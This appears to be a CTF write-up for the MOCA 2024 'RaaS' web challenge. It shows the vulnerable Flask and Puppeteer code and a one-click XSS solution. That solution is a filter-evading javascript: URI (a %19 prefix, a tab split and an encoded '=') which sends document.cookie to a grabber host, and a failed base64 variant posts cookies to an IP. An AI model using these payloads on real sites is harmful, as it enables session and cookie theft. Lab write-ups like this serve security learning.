MOCA CTF - QUALS 2024 | RaaS (Web, XSS)

Difficulty : Medium

I participated in the moca CTF quals and even though I only managed to solve one challenge only, I had alot of fun and would replay it next year.

The CTF featured 3 categories (Web, Pwn, Crypto) and was very difficult.

Link for the code.

Described as a Warmup XSS task, this challenge is a one click XSS task, as it may seem easy at the surface this task but bypassing these filters will be a difficult challenge.

Let's first Take a look at the code.

We have two applications one for the actual web app and one for the bot.

App.py

from flask import Flask, request, render_template, Response, redirect,jsonify, make_response, g, redirect, send_file
import requests
import urllib.parse
import re

app = Flask(__name__)

@app.route('/', methods=['GET'])
def main_page():
    return render_template('home.html')

def check_url(url):
    url = url.lower()
    pattern = r'[()=$`]'
    if bool(re.search(pattern, url, re.IGNORECASE | re.DOTALL)):
        return False
    if url.startswith("j") or "javascript" in url:
        return False
    return True

def check_title(title):
    if "<" in title or ">" in title:
        return False
    return True

@app.route('/redirectTo', methods=['GET'])
def redirect_to():

    url = request.args.get("url")
    title = request.args.get("title")
    default_url = "https://www.youtube.com/watch?v=xvFZjo5PgG0&ab_channel=Duran"

    if not isinstance(title,str) or not isinstance(url,str):
        return render_template('redirect.html',url=default_url, title="title")
    url = url.strip()

    if not check_url(url) or not check_title(title):
        return render_template("redirect.html", title=title, url=default_url)
    return render_template('redirect.html',url=url, title=title)

@app.route('/redirectAdmin', methods=['GET'])
def redirect_admin():
    default_url = "https://www.youtube.com/watch?v=xvFZjo5PgG0&ab_channel=Duran"
    admin_bot = "http://raas-admin:3000/report_to_admin"
    url = request.args.get("url")
    title = request.args.get("title")
    
    if not isinstance(title,str) or not isinstance(url,str):
        requests.post(admin_bot, json={"url":default_url, "title":"title"})
        return jsonify({"message":"done"}), 201

    url = url.strip()
    if not check_url(url) or not check_title(title):
        requests.post(admin_bot, json={"url":default_url, "title":"title"})
        return jsonify({"message":"done"}), 201

    requests.post(admin_bot, json={"url":url, "title":title})
    return jsonify({"message":"done"}), 201


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000)

App.js

const express = require('express');
const puppeteer = require('puppeteer');

const app = express();
app.use(express.json());
const port = 3000;


app.post('/report_to_admin', async (req, res) => {
    try {
        // Launch Puppeteer
        const browser = await puppeteer.launch({
            headless: true,
            args: ['--no-sandbox']
        }
        );
        const page = await browser.newPage();
        // Visit Backend
        const flag_cookie = {
            name: 'flag',
            value: process.env.FLAG,
            path:'/',
            domain: 'raas-backend', // Adjust this to match the domain
            httpOnly: false,
            secure: false,
            sameSite: 'Strict'
          };
        await page.setCookie(flag_cookie)
        const url = `http://raas-backend:5000/redirectTo?url=${encodeURIComponent(req.body.url)}&title=${encodeURIComponent(req.body.title)}`;
        console.log(url)
        await page.goto(url);
        // Click the redirect button
        
        await page.waitForSelector('#url');
        await page.click('#url');
        await new Promise(r => setTimeout(r, 1000));
        // Close the browser
        await browser.close();
        res.status(201).send('Done');
    } catch (error) {
        console.error('Error', error);
        res.status(500).send('Something went wrong');
    }
});

app.listen(port, () => {
    console.log(`Admin is running at http://localhost:${port}`);
});

So the challenge consist of stealing the cookie from the admin by sending a malicious one click xss payload.

Link Input Page

Thank god the writers provided us with a way to test our payload.

After inputting the link the button will take you to that link

There are ways to exploit this but the sure way is to inject a Javascript Uri into the button, like this.

<a href="Javascript:Alert(1)" >

Let's first see the filters :

def check_url(url):
    url = url.lower()
    pattern = r'[()=$`]'
    if bool(re.search(pattern, url, re.IGNORECASE | re.DOTALL)):
        return False
    if url.startswith("j") or "javascript" in url:
        return False
    return True

From this code we would need three conditions :

  • It needs to not start with j

  • The payloads needs to not contain the string javascript

  • it needs to not contains (),=,$ and `` (we will return to the last one later)

The payload that we will use will be:

javascript:location=<Grabber Link>/'+document.cookie;

That payload uses as little special characters as possible and is pretty short.

to bypass the first condition i followed from this writeup, I bypassed it with %19javascript .

for the second filter i split the javascript string into two using a Tab character javasc%09ript

and for the last filter i used the url encoded value for '='.

so at last our payload would be :

javasc	ript:location%3D'<grabber-link>/'+document.cookie;

if we url encode it would become :

%19javasc%09ript%3Alocation%253D%27<grabber-link>%2F%27%2Bdocument%2Ecookie%3B

Now we feed the payload through Burpsuite and we receive the flag.

Receiving the Flag

Alternatives that didn't work :

at first I tried to use Named entities to bypass the filters, the payload would look like this :

javasc\&NewLine;ript:location\&equals;/\\<Grabber-Link>/+document.cookie

even though it passed the filters, it wouldn't work since the & would be filtered and passed as &amp so it would look like this:

All the & replaced with &amp

another payload that I think was fixed is to pass a HTML script tag in base64 and decrypt it :

javasc	ript:atob`PHNjcmlwdD52YXIgaT1uZXcgSW1hZ2UoKTsgaS5zcmM9Imh0dHA6Ly8xMC44MC4wLjkwLz9jb29raWU9IitidG9hKGRvY3VtZW50LmNvb2tpZSk7PC9zY3JpcHQ`;

that wouldn't work since the backquotes were filtered, i didn't try much more with this payload but it could've worked if we managed to replace the backquotes with something else.

Overall it was a good CTF, it was quite challenging, the challenges were creative and staff was friendly. Only problem was the architecture that was hosted on PWNX that would crash and people would reset the tasks without a vote always changing the IP address of the challenge while working on it.

Overall 7/10 .

Last updated